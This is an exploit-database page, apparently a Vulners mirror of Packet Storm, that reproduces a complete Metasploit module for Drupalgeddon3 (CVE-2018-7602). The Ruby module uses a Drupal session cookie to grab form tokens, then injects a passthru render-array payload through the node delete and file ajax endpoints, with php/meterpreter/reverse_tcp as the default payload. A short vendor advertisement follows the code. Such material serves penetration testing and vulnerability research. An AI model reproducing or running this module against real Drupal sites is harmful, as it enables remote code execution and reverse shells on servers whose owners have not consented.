Lucene search
K

Drupalgeddon3 Remote Code Execution

🗓️ 30 Apr 2018 00:00:00Reported by SixP4ck3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 85 Views

Drupalgeddon3 Remote Code Execution, CVE-2018-7602, SA-CORE-2018-004, Drupal 7.x and 8.x, Remote Code Execution, Metasploit module, Highly Critical, PHP arch payloads

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Drupalgeddon3',  
'Description' => %q{  
CVE-2018-7602 / SA-CORE-2018-004  
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.  
This potentially allows attackers to exploit multiple attack vectors on a Drupal site  
Which could result in the site being compromised.  
This vulnerability is related to Drupal core - Highly critical - Remote Code Execution  
  
The module can load msf PHP arch payloads, using the php/base64 encoder.  
  
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SixP4ck3r', # Research and port to MSF  
'Blaklis' # Initial PoC  
],  
'References' =>  
[  
['SA-CORE', '2018-004'],  
['CVE', '2018-7602'],  
],  
'DefaultOptions' =>  
{  
'encoder' => 'php/base64',  
'payload' => 'php/meterpreter/reverse_tcp',  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => [ARCH_PHP],  
'Targets' =>  
[  
['User register form with exec', {}],  
],  
'DisclosureDate' => 'Apr 29 2018',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),  
OptString.new('DRUPAL_NODE', [ true, "Exist Node Number (Page, Article, Forum topic, or a Post)", '1']),  
OptString.new('DRUPAL_SESSION', [ true, "Authenticated Cookie Session", '']),  
])  
  
register_advanced_options(  
[  
  
])  
end  
  
def uri_path  
normalize_uri(target_uri.path)  
end  
  
def start_exploit  
drupal_node = datastore['DRUPAL_NODE']  
res = send_request_cgi({  
'cookie' => datastore['DRUPAL_SESSION'],  
'method' => 'GET',  
'uri' => "#{uri_path}/node/#{drupal_node}/delete"  
})  
form_token = res.body.scan( /form_token" value="([^>]*)" \/>/).last.first  
print "[*] Token Form -> #{form_token}\n"  
r2 = send_request_cgi({  
'method' => 'POST',  
'cookie' => datastore['DRUPAL_SESSION'],  
'uri' => "#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'#{payload.encoded}'",  
'vars_post' => {  
'form_id' => 'node_delete_confirm',  
'_triggering_element_name' => 'form_id',  
'form_token'=> "#{form_token}"  
}  
})  
form_build_id = r2.body.scan( /form_build_id" value="([^>]*)" \/>/).last.first  
print "[*] Token Form_build_id -> #{form_build_id}\n"  
r3 = send_request_cgi({  
'method' => 'POST',  
'cookie' => datastore['DRUPAL_SESSION'],  
'uri' => "#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}",  
'vars_post' => {  
'form_build_id' => "#{form_build_id}"  
}  
})  
end  
  
def exploit  
case datastore['TARGET']  
when 0  
start_exploit  
else  
fail_with(Failure::BadConfig, "Your target is invalid.")  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation